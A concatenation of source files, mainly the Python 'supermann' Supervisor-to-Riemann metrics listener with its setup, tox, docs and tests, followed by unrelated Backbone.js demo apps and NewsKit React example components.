This sets an exception handler to deal with uncaught exceptions - # this is used to ensure both a log message (and more importantly, a # timestamp) and a full traceback is output to stderr sys.excepthook = self.exception_handler def connect(self, signal, reciver): """Connects a signal that will recive messages from this instance :param blinker.Signal signal: Listen for events from this signal :param reciver: A function that will recive events """ return signal.connect(reciver, sender=self) def connect_event(self, reciver): """Conects a reciver to ``event`` using :py:meth:`.connect`""" return self.connect(supermann.signals.event, reciver) def connect_process(self, reciver): """Conects a reciver to ``process`` using :py:meth:`.connect`""" return self.connect(supermann.signals.process, reciver) def with_all_recivers(self): self.connect_system_metrics() self.connect_process_metrics() return self def connect_system_metrics(self): """Collect system metrics when an event is received :returns: the Supermann instance the method was called on """ self.connect_event(supermann.metrics.system.cpu) self.connect_event(supermann.metrics.system.mem) self.connect_event(supermann.metrics.system.swap) self.connect_event(supermann.metrics.system.load) self.connect_event(supermann.metrics.system.load_scaled) self.connect_event(supermann.metrics.system.uptime) def connect_process_metrics(self): """Collect metrics for each process when an event is received :returns: the Supermann instance the method was called on """ self.connect_process(supermann.metrics.process.cpu) self.connect_process(supermann.metrics.process.mem) self.connect_process(supermann.metrics.process.fds) self.connect_process(supermann.metrics.process.io) self.connect_process(supermann.metrics.process.state) self.connect_process(supermann.metrics.process.uptime) return self def run(self): """Runs forever, ensuring Riemann is disconnected properly :returns: the Supermann instance the method was called on """ with self.riemann: for event in self.supervisor.run_forever(): # Emit a signal for each event supermann.signals.event.send(self, event=event) # Emit a signal for each Supervisor subprocess self.emit_processes(event=event) # Send the queued events at the end of the cycle self.riemann.flush() return self def exception_handler(self, *exc_info): """Used as a global exception handler to ensure errors are logged""" self.log.error("A fatal exception occurred:", exc_info=exc_info) def emit_processes(self, event): """Emit a signal for each Supervisor child process A new cache is created from the processes emitted in this cycle, which drops processes that no longer exist from the cache. :param event: An event received from Supervisor """ cache = dict() for data in self.supervisor.rpc.getAllProcessInfo(): pid = data.pop('pid') cache[pid] = self._get_process(pid) self.log.debug("Emitting signal for process {0}({1})".format( data['name'], pid)) supermann.signals.process.send(self, process=cache[pid], data=data) # The cache is stored for use in _get_process and the next call self.process_cache = cache def _get_process(self, pid): """Returns a psutil.Process object or None for a PID Returns None is the PID is 0, which Supervisor uses for a dead process Returns a process from the cache if one exists with the same PID, or a new Process instance if the PID has not been cached. The cache is used because psutil.Process.get_cpu_percent(interval=0) stores state. When get_cpu_percent is next called, it returns the CPU utilisation since the last call - creating a new instance each cycle breaks this. :returns: A process from the cache or None :rtype: psutil.Process """ if pid == 0: return None elif pid in self.process_cache: return self.process_cache[pid] else: return psutil.Process(pid) <file_sep>#!/usr/bin/env python2.6 from __future__ import unicode_literals import setuptools setuptools.setup( name = "supermann", version = '3.2.0', author = "<NAME>", author_email = "<EMAIL>", url = "https://github.com/borntyping/supermann", description = "A Supervisor event listener for Riemann", long_description = open('README.rst').read(), license="MIT", packages = setuptools.find_packages(), install_requires = [ 'blinker>=1.1', 'click>=6.6', 'psutil>=4.3.0', 'riemann-client>=6.3.0', 'supervisor>=3.0,<4.0' ], entry_points = { 'console_scripts': [ 'supermann = supermann.cli:main', 'supermann-from-file = supermann.cli:from_file' ] }, classifiers = [ 'Development Status :: 4 - Beta', 'Environment :: No Input/Output (Daemon)', 'License :: OSI Approved', 'License :: OSI Approved :: MIT License', 'Operating System :: Unix', 'Programming Language :: Python', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Topic :: System :: Logging', 'Topic :: System :: Monitoring', 'Topic :: System :: Networking', 'Topic :: System :: Systems Administration' ], ) <file_sep>"""Functions that can be registered to receive events from Supermann signals""" <file_sep>"""Blinker signals used for sending end receiving events""" from __future__ import absolute_import import blinker namespace = blinker.Namespace() #: The event signal is sent when Supermann receives an event from Supervisor #: Receivers should take `sender` (the Supermann instance) and `event` as args event = namespace.signal('supervisor:event') #: The process signal is sent for each Supervisor child process when an event #: is received. It is sent a ``psutil.Process`` object for that process, and #: the data from the Supervisor ``getProcessInfo`` function. process = namespace.signal('supervisor:process') <file_sep>[tox] minversion=1.6.0 envlist=py26,py27,py26-flake8,py26-coverage [testenv] commands=py.test supermann deps= pytest mock [pytest] addopts=-qq --strict --tb=short # flake8 - pep8 and pyflakes checking # pyflakes statically analyses python source files # pep8 checks python source code against the PEP8 style conventions [testenv:py26-flake8] commands=flake8 --config=tox.ini supermann basepython=python2.6 deps=flake8 [flake8] exclude=supermann/riemann/riemann_pb2.py max-complexity=10 # Coverage report # $ tox -e py26-coverage && firefox .tox/py26-coverage/index.html [testenv:py26-coverage] basepython=python2.6 commands= coverage run --rcfile tox.ini --source supermann -m py.test coverage html --rcfile tox.ini deps= {[testenv]deps} coverage [run] data_file=.tox/py26-coverage/data omit= supermann/tests/* [report] exclude_lines= def __repr__ raise NotImplementedError raise RuntimeError class NullHandler log.error [html] title=Supermann coverage report directory=.tox/py26-coverage # Documentation # Builds documentation using sphinx [testenv:docs] basepython=python2.6 commands=sphinx-build -q -QE docs/ docs/_build/ deps= sphinx sphinx_rtd_theme # Release # Uploads the package to PyPi. [testenv:release] basepython=python2.7 commands=python setup.py sdist bdist_wheel upload deps=wheel <file_sep>supermann package ================= supermann.cli ------------- .. automodule:: supermann.cli :members: :undoc-members: :show-inheritance: .. data:: main The main entry point - see ``supermann --help`` for more information. .. data:: from_file An alternate entry point - see ``supermann-from-file --help`` for more information. Used as a workaround for `an issue with Supervisor <https://github.com/Supervisor/supervisor/issues/339>`_. supermann.core -------------- .. automodule:: supermann.core :members: :undoc-members: :show-inheritance: supermann.signals ----------------- .. automodule:: supermann.signals :members: :undoc-members: :show-inheritance: supermann.supervisor -------------------- .. automodule:: supermann.supervisor :members: :undoc-members: :show-inheritance: supermann.utils --------------- .. automodule:: supermann.utils :members: :undoc-members: :show-inheritance: <file_sep>"""Metrics reported for the entire system""" from __future__ import absolute_import import os import psutil def cpu(self, event): """CPU utilisation as a percentage - ``system:cpu:percent`` """ self.riemann.event( service='system:cpu:percent', metric_f=psutil.cpu_percent(interval=None)) def mem(self, event): """Memory utilisation - total, free, cached, buffers - ``system:mem:percent`` - ``system:mem:total`` - ``system:mem:free`` - ``system:mem:cached`` - ``system:mem:buffers`` """ mem = psutil.virtual_memory() self.riemann.event(service='system:mem:percent', metric_f=mem.percent) self.riemann.event(service='system:mem:total', metric_f=mem.total) self.riemann.event(service='system:mem:free', metric_f=mem.free) self.riemann.event(service='system:mem:cached', metric_f=mem.cached) self.riemann.event(service='system:mem:buffers', metric_f=mem.buffers) def swap(self, event): """Swap utilisation - ``system:swap:percent`` - ``system:swap:absolute`` """ swap = psutil.swap_memory() self.riemann.event(service='system:swap:percent', metric_f=swap.percent) self.riemann.event(service='system:swap:absolute', metric_f=swap.used) def load(self, event): """Load averages - ``system:load:1min`` - ``system:load:5min`` - ``system:load:15min`` """ load1, load5, load15 = os.getloadavg() self.riemann.event(service='system:load:1min', metric_f=load1) self.riemann.event(service='system:load:5min', metric_f=load5) self.riemann.event(service='system:load:15min', metric_f=load15) def load_scaled(self, event): """Load averages - ``system:load_scaled:1min`` """ load1 = os.getloadavg()[0] / psutil.cpu_count() self.riemann.event(service='system:load_scaled:1min', metric_f=load1) def uptime(self, event): """System uptime (uses ``/proc/uptime``) - ``system:uptime`` """ with open('/proc/uptime', 'r') as f: uptime, idle = map(float, f.read().strip().split()) self.riemann.event(service='system:uptime', metric_f=uptime) <file_sep>"""Metrics reported for each process running under Supervisor""" from __future__ import absolute_import, division import functools import psutil import supermann.utils def running_process(function): """Decorates a signals.process reciver to only run if the process exists""" @functools.wraps(function) def wrapper(sender, process, data): if process is None: log = supermann.utils.getLogger(function) log.debug("Process '{0}' does not exist (state: {1})".format( data['name'], data['statename'])) else: return function(sender, process, data) return wrapper def get_nofile_limit(pid): """Returns the NOFILE limit for a given PID :param int pid: The PID of the process :returns: (*int*) The NOFILE limit """ with open('/proc/%s/limits' % pid, 'r') as f: for line in f: if line.startswith('Max open files'): return int(line.split()[4]) raise RuntimeError('Could not find "Max open files" limit') @running_process def cpu(sender, process, data): """CPU utilisation as a percentage and total CPU time in seconds - ``process:{name}:cpu:percent`` - ``process:{name}:cpu:absolute`` """ sender.riemann.event( service='process:{name}:cpu:percent'.format(**data), metric_f=process.cpu_percent(interval=None)) sender.riemann.event( service='process:{name}:cpu:absolute'.format(**data), metric_f=sum(process.cpu_times())) @running_process def mem(sender, process, data): """Total virtual memory, total RSS memory, RSS utilisation as percentage - ``process:{name}:mem:virt:absolute`` - ``process:{name}:mem:rss:absolute`` - ``process:{name}:mem:rss:percent`` """ memory_info = process.memory_info() sender.riemann.event( service='process:{name}:mem:virt:absolute'.format(name=data['name']), metric_f=memory_info.vms) sender.riemann.event( service='process:{name}:mem:rss:absolute'.format(name=data['name']), metric_f=memory_info.rss) sender.riemann.event( service='process:{name}:mem:rss:percent'.format(name=data['name']), metric_f=process.memory_percent()) @running_process def fds(sender, process, data): """Number of file descriptors a process is using it's hard limit - ``process:{name}:fds:absolute`` - ``process:{name}:fds:percent`` """ num_fds = process.num_fds() sender.riemann.event( service='process:{name}:fds:absolute'.format(**data), metric_f=num_fds) sender.riemann.event( service='process:{name}:fds:percent'.format(**data), metric_f=(num_fds / get_nofile_limit(process.pid)) * 100) @running_process def io(sender, process, data): """Bytes read and written by a process. If ``/proc/[pid]/io`` is not availible (i.e. you are running Supermann inside an unprivileged Docker container), the events will have set ``metric_f`` to 0 and ``state`` to ``access denied``. - ``process:{name}:io:read:bytes`` - ``process:{name}:io:write:bytes`` """ try: io_counters = process.io_counters() except psutil.AccessDenied: read_bytes = write_bytes = dict(state="access denied") else: read_bytes = dict(metric_f=io_counters.read_bytes) write_bytes = dict(metric_f=io_counters.write_bytes) sender.riemann.event( service='process:{name}:io:read:bytes'.format(**data), **read_bytes) sender.riemann.event( service='process:{name}:io:write:bytes'.format(**data), **write_bytes) def state(sender, process, data): """The process state that Supervisor reports - ``process:{name}:state`` """ sender.riemann.event( service='process:{name}:state'.format(**data), state=data['statename'].lower()) def uptime(sender, process, data): """The time in seconds Supervisor reports the process has been running - ``process:{name}:uptime`` """ sender.riemann.event( service='process:{name}:uptime'.format(**data), metric_f=data['stop' if process is None else 'now'] - data['start']) <file_sep>.. include:: ../README.rst .. toctree:: :hidden: supermann supermann.metrics <file_sep>from __future__ import absolute_import import os import StringIO import mock import py.test import supermann.supervisor def local_file(name): return os.path.join(os.path.dirname(__file__), name) @py.test.fixture def listener(): with open(local_file('supervisor.txt'), 'r') as f: return supermann.supervisor.EventListener( stdin=StringIO.StringIO(f.read()), stdout=StringIO.StringIO(), reserve_stdin=False, reserve_stdout=False) class TestEventListener(object): def test_parse(self): line = "processname:cat groupname:cat from_state:STARTING pid:2766" payload = supermann.supervisor.EventListener.parse(line) assert payload['processname'] == 'cat' def test_output(self, listener): listener.ready() listener.wait() listener.ok() assert listener.stdout.getvalue() == "READY\nRESULT 2\nOK" def test_wait(self, listener): assert isinstance(listener.wait(), supermann.supervisor.Event) def test_event(self, listener): event = listener.wait() assert event.headers['ver'] == '3.0' assert event.payload['pid'] == '2766' class TestSupervisor(object): @mock.patch.dict('os.environ', {'SUPERVISOR_SERVER_URL': '-'}) @mock.patch('supervisor.childutils.getRPCInterface') def test_rpc_property(self, getRPCInterface): assert supermann.supervisor.Supervisor().rpc <file_sep>"""Supervisor interface for Supermann""" from __future__ import absolute_import import os import sys import supervisor.childutils import supermann.utils import supermann.signals class Event(object): """An event recived from Supervisor""" __slots__ = ['headers', 'payload'] def __init__(self, headers, payload): self.headers = headers self.payload = payload class EventListener(object): """A simple Supervisor event listener""" def __init__(self, stdin=sys.stdin, stdout=sys.stdout, reserve_stdin=True, reserve_stdout=True): """Listens for events from Supervisor and yields Event objects STDIN and STDOUT are referenced by the object, so that they are easy to test, and so the references in sys can be disabled. :param file stdin: A file-like object that can be used as STDIN :param file stdout: A file-like object that can be used as STDOUT :param bool reserve_stdin: Set ``sys.stdin`` to ``None`` :param bool reserve_stdout: Set ``sys.stdout`` to ``None`` """ self.log = supermann.utils.getLogger(self) self.stdin = stdin self.stdout = stdout # As stdin/stdout are used to communicate with Supervisor, # reserve them by replacing the sys attributes with None if reserve_stdin: sys.stdin = None self.log.debug("Supervisor listener has reserved STDIN") if reserve_stdout: sys.stdout = None self.log.debug("Supervisor listener has reserved STDOUT") @staticmethod def parse(line): """Parses a Supervisor header or payload :param str line: A line from a Supervisor message :returns: A dictionary containing the header or payload """ return dict([pair.split(':') for pair in line.split()]) def ready(self): """Writes and flushes the READY symbol to stdout""" self.stdout.write('READY\n') self.stdout.flush() def result(self, result): """Writes and flushes a result message to stdout :param str result: ``OK`` or ``FAIL`` """ self.stdout.write('RESULT {0}\n{1}'.format(len(result), result)) self.stdout.flush() def ok(self): self.result('OK') def fail(self): self.result('FAIL') def wait(self): """Waits for an event from Supervisor, then reads and returns it :returns: An :py:class:`.Event` containing the headers and payload """ headers = self.parse(self.stdin.readline()) payload = self.parse(self.stdin.read(int(headers.pop('len')))) self.log.debug("Received %s from supervisor", headers['eventname']) return Event(headers, payload) class Supervisor(object): """Contains the Supervisor event listener and XML-RPC interface""" def __init__(self): self.log = supermann.utils.getLogger(self) try: self.log.info("Using Supervisor XML-RPC interface at {0}".format( os.environ['SUPERVISOR_SERVER_URL'])) except KeyError: raise RuntimeError("SUPERVISOR_SERVER_URL is not set!") self.listener = EventListener() self.interface = supervisor.childutils.getRPCInterface(os.environ) @property def rpc(self): """Returns the 'supervisor' namespace of the XML-RPC interface""" return self.interface.supervisor def run_forever(self): """Yields events from Supervisor, managing the OK and READY signals :returns: A stream of :py:class:`.Event`s """ while True: self.listener.ready() yield self.listener.wait() self.listener.ok() <file_sep>from __future__ import absolute_import import os.path import click.testing import mock import supermann.cli def main(args=[], env=None, command=supermann.cli.main): runner = click.testing.CliRunner() result = runner.invoke(command, args, env=env) print result.output assert result.exit_code == 0 return result @mock.patch('supermann.core.Supermann', autospec=True) class TestCLI(object): def test_main_with_all(self, supermann_cls): main(['--log-level', 'INFO', 'localhost', '5555']) supermann_cls.assert_called_with('localhost', 5555) def test_main_with_args(self, supermann_cls): main(['example.com', '6666']) supermann_cls.assert_called_with('example.com', 6666) def test_main_with_some_args(self, supermann_cls): main(['example.com']) supermann_cls.assert_called_with('example.com', 5555) def test_main_without_args(self, supermann_cls): main() supermann_cls.assert_called_with('localhost', 5555) def test_system_flag(self, supermann_cls): main(['--system']) assert supermann_cls.return_value.connect_system_metrics.called def test_no_system_flag(self, supermann_cls): main(['--no-system']) assert not supermann_cls.return_value.connect_system_metrics.called def test_main_with_env(self, supermann_cls): main(env={ 'RIEMANN_HOST': 'example.com', 'RIEMANN_PORT': '6666' }) supermann_cls.assert_called_with('example.com', 6666) @mock.patch('supermann.utils.configure_logging') def test_log_level(self, configure_logging, supermann_cls): main(['--log-level', 'WARNING']) configure_logging.assert_called_with('WARNING') @mock.patch('supermann.utils.configure_logging') def test_from_file(self, configure_logging, supermann_cls): path = os.path.join(os.path.dirname(__file__), 'supermann.args') main([path], command=supermann.cli.from_file) configure_logging.assert_called_with('DEBUG') supermann_cls.assert_called_with('example.com', 6666) <file_sep>"""Command line entry points to supermann using click""" from __future__ import absolute_import import click import supermann.core import supermann.utils @click.command() @click.version_option(version=supermann.__version__) @click.option( '-l', '--log-level', default='INFO', type=click.Choice(supermann.utils.LOG_LEVELS.keys()), help="One of CRITICAL, ERROR, WARNING, INFO, DEBUG.") @click.option( '--system/--no-system', default=True, help='Enable or disable system metrics.') @click.argument( 'host', type=click.STRING, default='localhost', envvar='RIEMANN_HOST') @click.argument( 'port', type=click.INT, default=5555, envvar='RIEMANN_PORT') def main(log_level, host, port, system): """The main entry point for Supermann""" # Log messages are sent to stderr, and Supervisor takes care of the rest supermann.utils.configure_logging(log_level) s = supermann.core.Supermann(host, port) if system: s.connect_system_metrics() s.connect_process_metrics() s.run() @click.command() @click.argument('config', type=click.File('r')) def from_file(config): """An alternate entry point that reads arguments from a file.""" main.main(args=config.read().split()) <file_sep>"""A Supervisor event listener for Riemann""" from __future__ import absolute_import from supermann.core import Supermann __version__ = '3.2.0' __author__ = '<NAME> <<EMAIL>>' __all__ = ['Supermann']
979905afcc17276586837529d488247941ec970e
[ "Python", "reStructuredText", "INI" ]
18
Python
borntyping/supermann
66cf3a9570b9114eedc5da34b48e94b11ffeddd5
57be12c2198f380e8695a0645f4abdb54cba9bd8
refs/heads/master
<file_sep>(function($){ var Article = Backbone.Model.extend({ defaults:{ title: "No Title Specified", date: "4/16/2014", content: "One way to shed light onto the situation is to give a simple enumeration of things that ED lacks and EPF provides. Having used ED for several years on a large project, these are things that, in our case, are major issues, but are perhaps surmountable for others. These are also issues that, based on my understanding of how ED is structured, are going to be fairly non-trivial to properly implement." }, initialize: function(){ _.bindAll(this, "getPreview"); }, getPreview: function(){ var dots = ""; if(this.get("content").length > 200) dots="..."; return this.get("content").substr(0,200)+dots; } }); var ArticleList = Backbone.Collection.extend({ model: Article, localStorage: new Backbone.LocalStorage("article"), nextID: function(){ return this.length>0?this.last().id+1:1; }, removeAll: function(){ this.each(function(model){ model.destroy(); }); } }); var articles = new ArticleList; var PreView = Backbone.View.extend({ tagName: "article", template: _.template($("#previewTemplate").html()), initialize: function(){ _.bindAll(this, "render"); }, render: function(){ var model = this.model; $(this.el).append(this.template({title:model.get("title"), date:model.get("date"), id:model.id, preview:model.getPreview()})); $(this.el).attr("id", "article"+model.get("id")); return this; } }); var FullView = Backbone.View.extend({ tagName: "article", template: _.template($("#fullTemplate").html()), initialize: function(){ _.bindAll(this, "render"); }, render: function(){ var model = this.model; $(this.el).append(this.template({title:model.get("title"), date:model.get("date"), id:model.id, article:model.get("content")})); return this; } }); var AddNew = Backbone.View.extend({ el: "#addNew", events: { "click #submit": "submit", "click #cancel": "cancel" }, initialize: function(){ _.bindAll(this, "submit", "cancel","hide","show"); }, submit: function(){ var title = this.$("#editTitle").val(); var content = this.$("#content").html(); articles.create({title:title, content:content, date: body.getDate(), id: articles.nextID()}); this.goBack(); }, cancel: function(){ this.goBack(); }, goBack: function(){ body.doneEdit(); }, clearContent: function(){ this.$("#editTitle").val(""); this.$("#content").html(""); }, hide: function(){ this.clearContent(); $(this.el).hide(); }, show: function(){ $(this.el).show(); } }); var ListPage = Backbone.View.extend({ el: "#articles", liTemplate: _.template("<li><a href='#article<%= id%>'><%= title%></a></li>"), initialize: function(){ this.listenTo(articles, "add", this.addOne); articles.fetch(); }, render: function(){ var self = this; $(this.el).find("article").remove(); this.$("#sidenav").children().remove(); this.$("#sidenav").show(); articles.each(function(article){ self.addOne(article); }); }, addOne: function(article){ this.$("#sidenav").append(this.liTemplate({id:article.get("id"), title:article.get("title")})); var pre = new PreView({model: article}); $(this.el).append(pre.render().el); }, hide: function(){ $(this.el).hide(); }, show: function(){ $(this.el).show(); }, goToArticle: function(id){ var article = articles.get(id); var fullView = new FullView({model: article}); $(this.el).find("article").remove(); this.$("#sidenav").hide(); $(this.el).append(fullView.render().el); }, }); var Body = Backbone.View.extend({ el: "body", events: { "click createNew": "goEdit" }, initialize: function(){ this.addnew = new AddNew(); this.listpage = new ListPage(); this.addnew.hide(); this.listpage.show(); //articles.removeAll(); }, render: function(){ this.addnew.hide(); this.listpage.show(); this.listpage.render(); }, doneEdit: function(){ this.addnew.hide(); this.listpage.show(); router.navigate(""); }, goEdit: function(){ this.addnew.show(); this.listpage.hide(); }, goToArticle: function(id){ this.listpage.goToArticle(id); }, getDate: function(){ var date = new Date(), month = date.getMonth(), day = date.getDate(), year = date.getFullYear(); month = (month<9?"0":"")+(month+1), day = (date<10?")":"")+day; return month+"/"+day+"/"+year; } }); var body = new Body(); var Router = Backbone.Router.extend({ routes: { "":"main", "article/:id": "goToArticle", "createnew": "goEdit" }, main: function(){ body.render(); }, goToArticle: function(id){ body.goToArticle(id); }, goEdit: function(){ body.goEdit(); } }); var router = new Router(); Backbone.history.start(); this.$("#sidenav").pin({ containerSelector: "#articles" }); })(jQuery)<file_sep># backbone3 backbone练习3 <file_sep>(function($){ var dragElement = null; var linkModel = Backbone.Model.extend({ defaults: { title: "Sina", isLink: true, siteURL: "http://www.sina.com.cn", image: "images/sina.png", slide: "1", tooltip: "Double click to open", top: false }, initialize: function(){ this.on("invalid", function(model, error){ alert(model.get("title")+": "+error); this.destroy(); }); }, validate: function(attrs, options){ if(attrs.isLink && attrs.siteURL.substr(0,7) != "http:\/\/"){ return "The url must start with \"http://\""; } }, remove: function(){ this.destroy(); } }); var LinkList = Backbone.Collection.extend({ model: linkModel, url: "/linklist", localStorage: new Backbone.LocalStorage("icon"), initialize: function(){ _.bindAll(this, "forSlide"); console.log("collection url: "+ this.url); }, forSlide: function(index,top){ return this.where({slide: index, top:top}); }, destroyAll: function(){ this.each(function(model){ model.remove(); }); }, comparator: "slide" }); var linklist = new LinkList(); var addOn = Backbone.View.extend({ tagName: "div", addBtnTemplate: _.template($("#addBtnTemplate").html()), events: { "click #cancel" : "close", "click #submit" : "submit" }, initialize: function(){ _.bindAll(this, "render", "close", "submit"); }, render: function(){ $(this.el).append(this.addBtnTemplate()); this.$("input").css({width:"50%", "background-color":"white"}); $(this.el).addClass("addLink"); return this; }, close: function(){ $(this.el).remove(); }, submit: function(){ var title = this.$("#title").val(); var isLink = this.$("#isLink").prop("checked"); var siteURL = this.$("#siteURL").val(); var image = this.$("#image").val(); var slide = this.$("#slide").val(); var tooltip = this.$("#tooltip").val(); var top = this.$("#top").prop("checked"); linklist.create({title:title, isLink:isLink, siteURL: siteURL, image: image,slide:slide,tooltip:tooltip, top:top}); this.close(); } }); var Popup = Backbone.View.extend({ tagName: "div", popTemplate: _.template($("#popTemplate").html()), events: { "dblclick header" : "resize", "click .close": "close" }, initialize: function(){ _.bindAll(this, "resize","close"); this.max = false; }, render: function(){ $(this.el).append(this.popTemplate()); $(this.el).children().draggable(); $(this.el).children().resizable(); $(this.el).css({width:"100%", height:"100%"}); return this; }, close: function(){ $(this.el).remove(); }, resize: function(){ if(!this.max){ this.max = true; this.height = $(this.el).children().height(); this.width = $(this.el).children().width(); this.left = $(this.el).children().position().left; this.top = $(this.el).children().position().top; $(this.el).children().draggable({disabled: true}); $(this.el).children().resizable({disabled: true}); $(this.el).children().css('opacity', '1'); console.log(this.height+" "+this.width+" "+this.left+" "+this.top); $(this.el).children().css({height: "100%", width: "100%", left: 0, top: 0}); }else{ this.max = false; $(this.el).children().draggable({disabled: false}); $(this.el).children().resizable({disabled: false}); $(this.el).children().css({height: this.height, width: this.width, left: this.left, top: this.top}); } } }); var Icon = Backbone.View.extend({ tagName: "li", template: _.template($("#iconTemplate").html()), events: { "click .title" : "changeTitle", "keypress .change" : "doneChangebyKey", "blur .change" : "doneChange", "dblclick .title" : "goToURL", "dblclick img" : "goToURL", "mousedown img" :"increaseIndex", "mouseup img" : "decreaseIndex" }, initialize: function(){ _.bindAll(this,"render","changeTitle","doneChange", "goToURL", "increaseIndex", "decreaseIndex"); this.listenTo(this.model, "change", this.render); this.listenTo(this.model, "destroy", this.remove); this.max = false; }, render: function(top, left){ var title = this.model.get("tooltip"); $(this.el).html(this.template(this.model.toJSON())); this.$(".change").hide(); if(!this.model.get("top")) $(this.el).draggable(); $(this.el).addClass("icon"); $(this.el).css({left:left, top:top}); $(this.el).attr({"id":"dragIcon","data-toggle":"tooltip"}); $(this.el).tooltip({ animation: true, placement: "right", title: title, trigger: "hover" }); return this; }, changeTitle: function(){ this.$(".title").hide(); this.$(".change").show(); this.$(".change").focus(); this.$(".change").val(this.model.get("title")); }, doneChangebyKey: function(e){ if(e.keyCode == 13) this.doneChange(); }, doneChange: function(){ this.model.save({title: this.$(".change").val()}); //this will give a change signal, so that it will render automaticly. this.$(".change").hide(); this.$(".title").show(); }, goToURL: function(){ if(this.model.get("isLink")) window.open(this.model.get("siteURL")); else{ var pop = new Popup(); $(pop.render().el).appendTo(".carousel-inner"); } }, increaseIndex: function(){ $(this.el).css({"z-index" : 3}); $(this.el).tooltip("hide"); }, decreaseIndex: function(){ $(this.el).css({"z-index" : 1}); $(this.el).tooltip("show"); } }); var TopBar = Backbone.View.extend({ el: ".slideTop", initialize: function(){ _.bindAll(this, "render", "addOne"); this.left = 0; this.leftAdd= 70; this.top = 0; this.topAdd =70; this.listenTo(linklist, "add", this.addOne); this.render(); }, render: function(){ var list = linklist.forSlide("1", true); var self= this; list.forEach(function(icon){ self.addOne(icon); }); }, addOne: function(icon){ if(!icon.get("top")) return; $(this.el).append((new Icon({model: icon})).render(this.top,this.left).el); this.left += this.leftAdd; if(this.top+this.topAdd > $(window).height()*0.7){ this.left = 0; this.top += this.topAdd; } } }); var slide1 = Backbone.View.extend({ el: "#slide1", events: { "dblclick .addBox" : "add" }, addtemplate: _.template($("#addTemplate").html()), initialize: function(){ _.bindAll(this, "render", "addOne","add"); this.listenTo(linklist, "add", this.addOne); this.top = 0; this.left = 60; this.leftAdd = 70; this.topAdd = 90; this.render(); }, render: function(){ var list = linklist.forSlide("1", false); var self= this; list.forEach(function(icon){ self.addOne(icon); }); $(this.el).append(this.addtemplate({top:this.top+"px", left:this.left+"px"})); this.top += this.topAdd; if(this.top+this.topAdd > $(window).height()){ this.top = 0; this.left += this.leftAdd; } }, addOne: function(icon){ if(icon.get("top")) return; $(this.el).append((new Icon({model: icon})).render(this.top,this.left).el); this.top += this.topAdd; if(this.top+this.topAdd > $(window).height()){ this.top = 0; this.left += this.leftAdd; } }, add: function(){ var add = new addOn(); $(this.el).append(add.render().el); } }); var Body = Backbone.View.extend({ el: ".carousel-inner", initialize: function(){ linklist.fetch(); var top = new TopBar(); var one = new slide1(); //linklist.destroyAll(); } }); var Router = Backbone.Router.extend({ routes: { "page/:page" : "goToPage", "next/:optional" : "nextPage", "pre/:optional" : "prePage" }, initialize: function(){ _.bindAll(this, "goToPage", "nextPage"); this.page = 1; }, goToPage: function(page){ this.page = page; $(".carousel").carousel(page-1); }, nextPage: function(){ $("a.right").trigger("click"); }, prePage: function(){ $("a.left").trigger("click"); } }); var body = new Body(); $(".carousel").carousel({interval:false}); var router = new Router(); Backbone.history.start(); })(jQuery);
7fcb899d0bc37ef208c1dfc3828ad09bc39abcdc
[ "JavaScript", "Markdown" ]
3
JavaScript
clarkfbar/backbone3
b6f515eed317683e7a50db429cfbb1811dcc73d8
35675ae3f19dd1a4969d71df4274560fe12a5a2f
refs/heads/master
<file_sep>import { Block, Stack, Button, IconFilledExpandMore, TextBlock, styled, getStylePresetFromTheme, getSpacingInsetFromTheme, useTheme, } from 'newskit'; const StyledContainer = styled.div` ${getStylePresetFromTheme('pricingCardSurface')}; ${getSpacingInsetFromTheme('spaceInsetStretch040')}; max-width: 287px; `; const NoWrapButton = styled(Button)` white-space: nowrap; `; const PublicationName = () => { const theme = useTheme(); return theme.componentDefaults.publicationName || 'The NewsKit Daily'; }; export default () => ( <StyledContainer> <Block overrides={{ spaceStack: 'space040' }}> <TextBlock as="h2" overrides={{ typographyPreset: 'utilityHeading050', stylePreset: 'inkContrast', }} > Standard Digital </TextBlock> </Block> <Block overrides={{ spaceStack: 'space050' }}> <TextBlock overrides={{ typographyPreset: 'utilityBody010', stylePreset: 'inkSubtle', }} > For those who want to read <PublicationName /> on the go. </TextBlock> </Block> <Block overrides={{ spaceStack: 'space030' }}> <TextBlock as="h3" overrides={{ typographyPreset: 'utilityHeading050', stylePreset: 'inkContrast', }} > £15.00 </TextBlock> </Block> <Block overrides={{ spaceStack: 'space040' }}> <TextBlock overrides={{ typographyPreset: 'utilityLabel030', stylePreset: 'inkSubtle', }} > a month, monthly rolling contract. </TextBlock> </Block> <Stack flow="horizontal-top" stackDistribution="space-between"> <Button overrides={{ width: '100%', stylePreset: 'buttonOutlinedPrimary' }} > Subscribe </Button> <NoWrapButton overrides={{ width: '100%', stylePreset: 'buttonMinimalPrimary' }} > View Benefits <IconFilledExpandMore /> </NoWrapButton> </Stack> </StyledContainer> ); <file_sep>import CodeTemplate from '../components/code-template'; import Page3 from '../public/static/page3'; export const pageTitle = 'Step 3: Layout'; export default () => ( <CodeTemplate title={pageTitle} nextPage="page4" PageComponent={Page3} codePaths={['page3.jsx']} /> ); <file_sep>export default { componentDefaults: { publicationName: 'Virgin Radio', }, borders: { borderRadiusDefault: '{{borders.borderRadiusPill}}', }, colors: { inkBrand010: '{{colors.red060}}', inkBrand020: '{{colors.red020}}', interfaceBrand010: '{{colors.red060}}', interfaceBrand020: '{{colors.red020}}', interactivePrimary010: '{{colors.red010}}', interactivePrimary020: '{{colors.red020}}', interactivePrimary030: '{{colors.red060}}', interactivePrimary040: '{{colors.red070}}', interactivePrimary050: '{{colors.red080}}', }, fonts: { fontFamily010: { fontFamily: 'MontserratBold', cropConfig: { top: 8, bottom: 10, }, }, fontFamily020: { fontFamily: 'MontserratMedium', cropConfig: { top: 8, bottom: 10, }, }, fontFamily030: { fontFamily: 'MontserratRegular', cropConfig: { top: 8, bottom: 10, }, }, fontFamily040: { fontFamily: 'MontserratSemiBold', cropConfig: { top: 8, bottom: 10, }, }, }, stylePresets: { titleBar: { base: { borderColor: '{{colors.interfaceBrand010}}', }, }, }, }; <file_sep>import React, { useState, useEffect } from 'react'; import { Prism as SyntaxHighlighter } from 'react-syntax-highlighter'; // import { tomorrow, coy } from 'react-syntax-highlighter/styles/prism'; import { useTheme } from 'newskit'; export const Code = ({ language = 'jsx', children }) => { const theme = useTheme(); return ( <div> <SyntaxHighlighter tabIndex={0} language={language} // style={coy} customStyle={{ overflow: 'auto', padding: '1em', margin: 0, borderRadius: theme.borders.borderRadiusRounded010, }} > {children} </SyntaxHighlighter> </div> ); }; export const CodeFromFile = ({ language, path }) => { const [source, setSource] = 